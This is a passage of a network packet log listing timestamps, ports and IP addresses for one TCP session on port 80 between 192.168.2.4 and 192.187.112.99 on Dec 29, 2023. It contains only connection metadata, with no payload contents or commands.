Dec 29, 2023 12:06:52.751599073 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751609087 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751620054 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751622915 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751632929 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751646996 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751646996 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751663923 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751701117 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751722097 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751734018 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751753092 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751760006 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751782894 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751806021 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751818895 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751832962 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751843929 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751856089 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751880884 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751904964 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751918077 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751931906 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751945019 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751948118 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.751965046 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.751985073 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752000093 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752036095 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752049923 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752080917 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752106905 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752121925 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752135038 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752146006 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752157927 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752168894 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752194881 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752228975 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752242088 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752253056 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752264023 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752274036 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752274990 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752288103 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752299070 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752305984 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752322912 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752336025 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752336025 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752348900 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752362013 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752362013 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752373934 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752382040 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752397060 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752409935 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752423048 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752444029 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752474070 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752517939 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752552986 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752566099 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752578974 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752590895 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752595901 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752608061 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752638102 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752640009 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752652884 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752676010 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752685070 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752688885 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752701044 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752708912 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752728939 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752748966 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752763033 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752775908 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752787113 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752798080 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752809048 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752811909 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752824068 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752835989 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752840042 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752863884 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752870083 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752882004 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752883911 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752897024 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752907991 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752908945 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752917051 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752926111 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752929926 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752940893 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752942085 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.752969980 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752990961 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.752998114 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753011942 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753021955 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753034115 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753045082 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753047943 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753057957 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753077984 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753078938 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753102064 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753119946 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753133059 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753146887 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753174067 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753221035 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753235102 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753246069 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753257036 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753266096 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753269911 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753278971 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753283024 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753308058 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753331900 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753362894 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753375053 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753386021 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753396988 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753406048 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753410101 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753422976 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753432035 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753449917 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753468990 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753519058 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753531933 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753542900 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753556013 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753566980 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753566980 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753582001 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753592968 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753612041 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753633976 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753784895 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753827095 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753839016 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753881931 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753918886 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753931999 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753942013 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753953934 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753966093 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753968000 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.753978014 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.753993988 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.754004955 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754013062 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.754019022 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754029989 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754040956 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754050970 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754055023 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.754064083 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754076958 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.754082918 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.754112959 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.754385948 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754431963 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.754471064 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754482985 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754493952 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754507065 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754517078 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754519939 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.754542112 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.754566908 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754578114 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754589081 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754595041 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.754601002 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754612923 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754621029 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.754625082 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.754646063 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.754663944 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.879949093 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.879983902 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.879998922 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880006075 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880017042 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880028009 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880038977 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880049944 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880060911 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880072117 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880081892 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880093098 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880099058 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880109072 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880120039 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880129099 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880141973 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880209923 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880209923 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880209923 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880311966 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880325079 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880347013 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880362988 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880387068 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880393982 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880407095 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880419016 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880429983 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880439043 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880443096 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880455017 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880465984 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880484104 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880508900 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880522966 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880541086 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880573988 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880590916 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880603075 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880613089 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880636930 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880647898 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880739927 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880752087 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880785942 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880810022 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880822897 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880832911 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.880855083 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.880872965 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881227970 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881241083 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881270885 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881294966 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881306887 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881318092 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881329060 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881337881 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881340981 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881354094 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881361008 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881383896 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881386995 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881402016 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881402969 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881427050 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881429911 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881441116 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881470919 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881493092 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881505013 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881515026 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881529093 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881539106 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881540060 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881552935 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881561995 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881565094 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881578922 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881588936 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881603956 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881628036 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881635904 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881647110 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881656885 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881668091 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881678104 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881681919 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881705999 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881720066 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881737947 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881779909 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881839991 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881882906 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881941080 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881953955 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881968975 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881979942 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.881988049 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.881990910 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882004023 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882013083 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882014990 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882031918 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882034063 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882056952 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882056952 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882071018 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882071972 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882097960 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882116079 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882117033 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882157087 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882204056 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882216930 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882227898 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882239103 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882249117 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882253885 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882265091 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882271051 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882277012 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882289886 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882311106 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882313967 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882328033 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882356882 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882380962 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882416010 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882426977 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882436991 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882450104 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882460117 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882461071 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882472038 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882484913 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882503033 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882505894 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882518053 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882522106 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882530928 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882544994 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882564068 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882582903 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882601023 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882613897 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882647038 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882662058 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882674932 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882684946 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882695913 CET	80	49729	192.187.112.99	192.168.2.4
Dec 29, 2023 12:06:52.882705927 CET	49729	80	192.168.2.4	192.187.112.99
Dec 29, 2023 12:06:52.882705927 CET	80	49729	192.187.112.99	192.168.2.4
